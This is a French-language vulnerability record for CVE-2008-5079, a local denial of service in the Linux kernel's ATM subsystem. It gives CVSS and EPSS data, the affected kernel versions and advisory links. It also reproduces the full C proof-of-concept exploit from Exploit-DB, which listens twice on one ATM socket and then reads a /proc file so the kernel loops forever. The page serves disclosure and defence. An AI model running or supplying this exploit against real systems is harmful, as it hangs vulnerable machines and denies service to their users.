CVE-2008-5079 : Détail

CVE-2008-5079

0.99%V4
Local
2008-12-08
23h00 +00:00
2018-10-11
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

net/atm/svc.c in the ATM subsystem in the Linux kernel 2.6.27.8 and earlier allows local users to cause a denial of service (kernel infinite loop) by making two calls to svc_listen for the same socket, and then reading a /proc/net/atm/*vc file, related to corruption of the vcc table.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 7405

Date de publication : 2008-12-09 23h00 +00:00
Auteur : Jon Oberheide
EDB Vérifié : Yes

/* * cve-2008-5079.c * * Linux Kernel <= 2.6.27.8 ATMSVC local DoS * Jon Oberheide <jon@oberheide.org> * * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5079: * * net/atm/svc.c in the ATM subsystem in the Linux kernel 2.6.27.8 * and earlier allows local users to cause a denial of service * (kernel infinite loop) by making two calls to svc_listen for the * same socket, and then reading a /proc/net/atm/*vc file, related * to corruption of the vcc table. * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <linux/atm.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/stat.h> #define NR_CPUS 8 #define PROC_ATM "/proc/net/atm/pvc" int main(void) { char *err, dummy[1024]; int i, ret, sock, proc; struct atm_qos qos; struct sockaddr_atmsvc addr; printf("[+] creating ATM socket...\n"); sock = socket(PF_ATMSVC, SOCK_DGRAM, 0); if (sock < 0) { err = "socket(2) for type PF_ATMSVC failed"; printf("[-] PoC error: %s (%s)\n", err, strerror(errno)); return 1; } memset(&qos, 0, sizeof(qos)); qos.rxtp.traffic_class = ATM_UBR; qos.txtp.traffic_class = ATM_UBR; qos.aal = ATM_NO_AAL; printf("[+] setting socket QoS options...\n"); ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &qos, sizeof(qos)); if (ret == -1) { err = "setsockopt(2) for option SO_ATMQOS failed"; printf("[-] PoC error: %s (%s)\n", err, strerror(errno)); return 1; } memset(&addr, 0, sizeof(addr)); addr.sas_family = AF_ATMSVC; printf("[+] binding socket...\n"); bind(sock, (struct sockaddr *) &addr, sizeof(addr)); printf("[+] socket listen...\n"); listen(sock, 10); printf("[+] duplicate socket listen...\n"); listen(sock, 10); printf("[+] attempting local DoS...\n"); for (i = 0; i < NR_CPUS; ++i) { if (fork() != 0) { break; } } proc = open(PROC_ATM, O_RDONLY); if (proc == -1) { err = "opening " PROC_ATM " failed"; printf("[-] PoC error: %s (%s)\n", err, strerror(errno)); return 1; } ret = read(proc, &dummy, 1024); close(proc); printf("[-] Local DoS failed.\n"); return 0; } // milw0rm.com [2008-12-10]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.27.8

Linux>>Linux_kernel >> Version 2.2.27

Linux>>Linux_kernel >> Version 2.4.36

Linux>>Linux_kernel >> Version 2.4.36.1

Linux>>Linux_kernel >> Version 2.4.36.2

Linux>>Linux_kernel >> Version 2.4.36.3

Linux>>Linux_kernel >> Version 2.4.36.4

Linux>>Linux_kernel >> Version 2.4.36.5

Linux>>Linux_kernel >> Version 2.4.36.6

Linux>>Linux_kernel >> Version 2.6

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.19.4

Linux>>Linux_kernel >> Version 2.6.19.5

Linux>>Linux_kernel >> Version 2.6.19.6

Linux>>Linux_kernel >> Version 2.6.19.7

Linux>>Linux_kernel >> Version 2.6.20.16

Linux>>Linux_kernel >> Version 2.6.20.17

Linux>>Linux_kernel >> Version 2.6.20.18

Linux>>Linux_kernel >> Version 2.6.20.19

Linux>>Linux_kernel >> Version 2.6.20.20

Linux>>Linux_kernel >> Version 2.6.20.21

Linux>>Linux_kernel >> Version 2.6.21.5

Linux>>Linux_kernel >> Version 2.6.21.6

Linux>>Linux_kernel >> Version 2.6.21.7

Linux>>Linux_kernel >> Version 2.6.22

Linux>>Linux_kernel >> Version 2.6.22.1

Linux>>Linux_kernel >> Version 2.6.22.2

Linux>>Linux_kernel >> Version 2.6.22.8

Linux>>Linux_kernel >> Version 2.6.22.9

Linux>>Linux_kernel >> Version 2.6.22.10

Linux>>Linux_kernel >> Version 2.6.22.11

Linux>>Linux_kernel >> Version 2.6.22.12

Linux>>Linux_kernel >> Version 2.6.22.13

Linux>>Linux_kernel >> Version 2.6.22.14

Linux>>Linux_kernel >> Version 2.6.22.15

Linux>>Linux_kernel >> Version 2.6.22.17

Linux>>Linux_kernel >> Version 2.6.22.18

Linux>>Linux_kernel >> Version 2.6.22.19

Linux>>Linux_kernel >> Version 2.6.22.20

Linux>>Linux_kernel >> Version 2.6.22.21

Linux>>Linux_kernel >> Version 2.6.22.22

Linux>>Linux_kernel >> Version 2.6.22_rc1

    Linux>>Linux_kernel >> Version 2.6.22_rc7

      Linux>>Linux_kernel >> Version 2.6.23

      Linux>>Linux_kernel >> Version 2.6.23.8

      Linux>>Linux_kernel >> Version 2.6.23.9

      Linux>>Linux_kernel >> Version 2.6.23.10

      Linux>>Linux_kernel >> Version 2.6.23.11

      Linux>>Linux_kernel >> Version 2.6.23.12

      Linux>>Linux_kernel >> Version 2.6.23.13

      Linux>>Linux_kernel >> Version 2.6.23.15

      Linux>>Linux_kernel >> Version 2.6.23.16

      Linux>>Linux_kernel >> Version 2.6.23.17

      Linux>>Linux_kernel >> Version 2.6.23_rc1

        Linux>>Linux_kernel >> Version 2.6.24

        Linux>>Linux_kernel >> Version 2.6.24.1

        Linux>>Linux_kernel >> Version 2.6.24.2

        Linux>>Linux_kernel >> Version 2.6.24.3

        Linux>>Linux_kernel >> Version 2.6.24.4

        Linux>>Linux_kernel >> Version 2.6.24.5

        Linux>>Linux_kernel >> Version 2.6.24.6

        Linux>>Linux_kernel >> Version 2.6.24.7

        Linux>>Linux_kernel >> Version 2.6.24_rc1

          Linux>>Linux_kernel >> Version 2.6.24_rc4

            Linux>>Linux_kernel >> Version 2.6.24_rc5

              Linux>>Linux_kernel >> Version 2.6.25

              Linux>>Linux_kernel >> Version 2.6.25

                Linux>>Linux_kernel >> Version 2.6.25.1

                Linux>>Linux_kernel >> Version 2.6.25.1

                  Linux>>Linux_kernel >> Version 2.6.25.2

                  Linux>>Linux_kernel >> Version 2.6.25.2

                    Linux>>Linux_kernel >> Version 2.6.25.3

                    Linux>>Linux_kernel >> Version 2.6.25.3

                      Linux>>Linux_kernel >> Version 2.6.25.4

                      Linux>>Linux_kernel >> Version 2.6.25.4

                        Linux>>Linux_kernel >> Version 2.6.25.5

                        Linux>>Linux_kernel >> Version 2.6.25.5

                          Linux>>Linux_kernel >> Version 2.6.25.6

                          Linux>>Linux_kernel >> Version 2.6.25.6

                            Linux>>Linux_kernel >> Version 2.6.25.7

                            Linux>>Linux_kernel >> Version 2.6.25.7

                              Linux>>Linux_kernel >> Version 2.6.25.8

                              Linux>>Linux_kernel >> Version 2.6.25.8

                                Linux>>Linux_kernel >> Version 2.6.25.9

                                Linux>>Linux_kernel >> Version 2.6.25.9

                                  Linux>>Linux_kernel >> Version 2.6.25.10

                                  Linux>>Linux_kernel >> Version 2.6.25.10

                                    Linux>>Linux_kernel >> Version 2.6.25.11

                                    Linux>>Linux_kernel >> Version 2.6.25.11

                                      Linux>>Linux_kernel >> Version 2.6.25.12

                                      Linux>>Linux_kernel >> Version 2.6.25.12

                                        Linux>>Linux_kernel >> Version 2.6.25.13

                                        Linux>>Linux_kernel >> Version 2.6.25.14

                                        Linux>>Linux_kernel >> Version 2.6.25.15

                                        Linux>>Linux_kernel >> Version 2.6.25.16

                                        Linux>>Linux_kernel >> Version 2.6.25.17

                                        Linux>>Linux_kernel >> Version 2.6.26

                                        Linux>>Linux_kernel >> Version 2.6.26.1

                                        Linux>>Linux_kernel >> Version 2.6.26.2

                                        Linux>>Linux_kernel >> Version 2.6.26.3

                                        Linux>>Linux_kernel >> Version 2.6.26.4

                                        Linux>>Linux_kernel >> Version 2.6.26.5

                                        Linux>>Linux_kernel >> Version 2.6.27

                                        Références

                                        http://www.redhat.com/support/errata/RHSA-2009-0225.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://marc.info/?l=linux-netdev&m=122841256115780&w=2
                                        Tags : mailing-list, x_refsource_MLIST
                                        http://secunia.com/advisories/33706
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://secunia.com/advisories/33641
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.redhat.com/support/errata/RHSA-2009-0053.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://secunia.com/advisories/33756
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://secunia.com/advisories/33348
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://secunia.com/advisories/32913
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://secunia.com/advisories/33623
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.mandriva.com/security/advisories?name=MDVSA-2009:032
                                        Tags : vendor-advisory, x_refsource_MANDRIVA
                                        http://www.securityfocus.com/bid/32676
                                        Tags : vdb-entry, x_refsource_BID
                                        http://secunia.com/advisories/34981
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://securityreason.com/securityalert/4694
                                        Tags : third-party-advisory, x_refsource_SREASON
                                        http://secunia.com/advisories/33083
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        https://usn.ubuntu.com/714-1/
                                        Tags : vendor-advisory, x_refsource_UBUNTU
                                        http://www.debian.org/security/2009/dsa-1787
                                        Tags : vendor-advisory, x_refsource_DEBIAN
                                        http://www.ubuntu.com/usn/usn-715-1
                                        Tags : vendor-advisory, x_refsource_UBUNTU
                                        http://secunia.com/advisories/33854
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.securitytracker.com/id?1021360
                                        Tags : vdb-entry, x_refsource_SECTRACK
                                        http://secunia.com/advisories/33704
                                        Tags : third-party-advisory, x_refsource_SECUNIA